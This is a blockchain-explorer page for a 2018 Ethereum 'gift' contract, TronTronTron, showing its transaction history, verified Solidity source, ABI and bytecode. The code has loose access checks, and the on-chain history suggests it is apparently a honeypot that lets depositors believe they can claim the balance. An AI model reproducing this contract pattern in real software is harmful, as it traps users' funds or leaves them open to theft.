ETH Price: $2,692.79 (-1.54%)
Gas: 0.81 Gwei

Contract

0xcb71B51d9159a49050d56516737B4b497E98Bb99
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Get Gift58073722018-06-17 22:29:132434 days ago1529274553IN
0xcb71B51d...97E98Bb99
0 ETH0.000029931
Set Gift Time58060722018-06-17 17:17:562434 days ago1529255876IN
0xcb71B51d...97E98Bb99
0 ETH0.000026981
Get Gift58060722018-06-17 17:17:562434 days ago1529255876IN
0xcb71B51d...97E98Bb99
0 ETH0.000021961
Close Gift58037562018-06-17 7:55:582435 days ago1529222158IN
0xcb71B51d...97E98Bb99
0 ETH0.000061962.3
Set Gift Time58030952018-06-17 5:06:442435 days ago1529212004IN
0xcb71B51d...97E98Bb99
0 ETH0.000027131.001
Put Gift58030682018-06-17 4:58:032435 days ago1529211483IN
0xcb71B51d...97E98Bb99
0.11 ETH0.000084471.01

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
58073722018-06-17 22:29:132434 days ago1529274553
0xcb71B51d...97E98Bb99
0.11 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TronTronTron

Compiler Version
v0.4.22+commit.4cb486ee

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-06-17
*/

pragma solidity ^0.4.22;

contract TronTronTron
{
    address  sender;
    address  receiver;
    uint  unlockTime;
    bool  closed = false;
    
 
    function PutGift(address _receiver) public payable {
        if( (!closed&&(msg.value >0.10 ether)) || sender==0x0 ) {
            sender = msg.sender;
            receiver = _receiver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime) public {
        if(msg.sender==sender) {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift() public payable {
        if(receiver==msg.sender&&now>unlockTime) {
            msg.sender.transfer(address(this).balance);
        }
    }
    
    function CloseGift() public {
        if (receiver!=0x0) {
           closed=true;
        }
    }
    
    function() public payable{}
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"_receiver","type":"address"}],"name":"PutGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"CloseGift","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"GetGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_unixTime","type":"uint256"}],"name":"SetGiftTime","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

60806040526003805460ff1916905534801561001a57600080fd5b506101eb8061002a6000396000f3006080604052600436106100615763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663108d40f881146100635780633f7e212014610077578063bea948c81461008c578063dac47a7114610094575b005b610061600160a060020a03600435166100ac565b34801561008357600080fd5b50610061610124565b610061610145565b3480156100a057600080fd5b506100616004356101a3565b60035460ff161580156100c6575067016345785d8a000034115b806100da5750600054600160a060020a0316155b156101215760008054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff19928316179092556001805492841692909116919091179055426002555b50565b600154600160a060020a031615610143576003805460ff191660011790555b565b60015433600160a060020a039081169116148015610164575060025442115b1561014357604051600160a060020a0333811691309091163180156108fc02916000818181858888f19350505050158015610121573d6000803e3d6000fd5b60005433600160a060020a0390811691161415610121576002555600a165627a7a7230582046f289a53041199d1bd0e4d5135873b4e5bd57319a1a0068e8ecbe415dafc0030029

Deployed Bytecode

0x6080604052600436106100615763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663108d40f881146100635780633f7e212014610077578063bea948c81461008c578063dac47a7114610094575b005b610061600160a060020a03600435166100ac565b34801561008357600080fd5b50610061610124565b610061610145565b3480156100a057600080fd5b506100616004356101a3565b60035460ff161580156100c6575067016345785d8a000034115b806100da5750600054600160a060020a0316155b156101215760008054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff19928316179092556001805492841692909116919091179055426002555b50565b600154600160a060020a031615610143576003805460ff191660011790555b565b60015433600160a060020a039081169116148015610164575060025442115b1561014357604051600160a060020a0333811691309091163180156108fc02916000818181858888f19350505050158015610121573d6000803e3d6000fd5b60005433600160a060020a0390811691161415610121576002555600a165627a7a7230582046f289a53041199d1bd0e4d5135873b4e5bd57319a1a0068e8ecbe415dafc0030029

Swarm Source

bzzr://46f289a53041199d1bd0e4d5135873b4e5bd57319a1a0068e8ecbe415dafc003

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.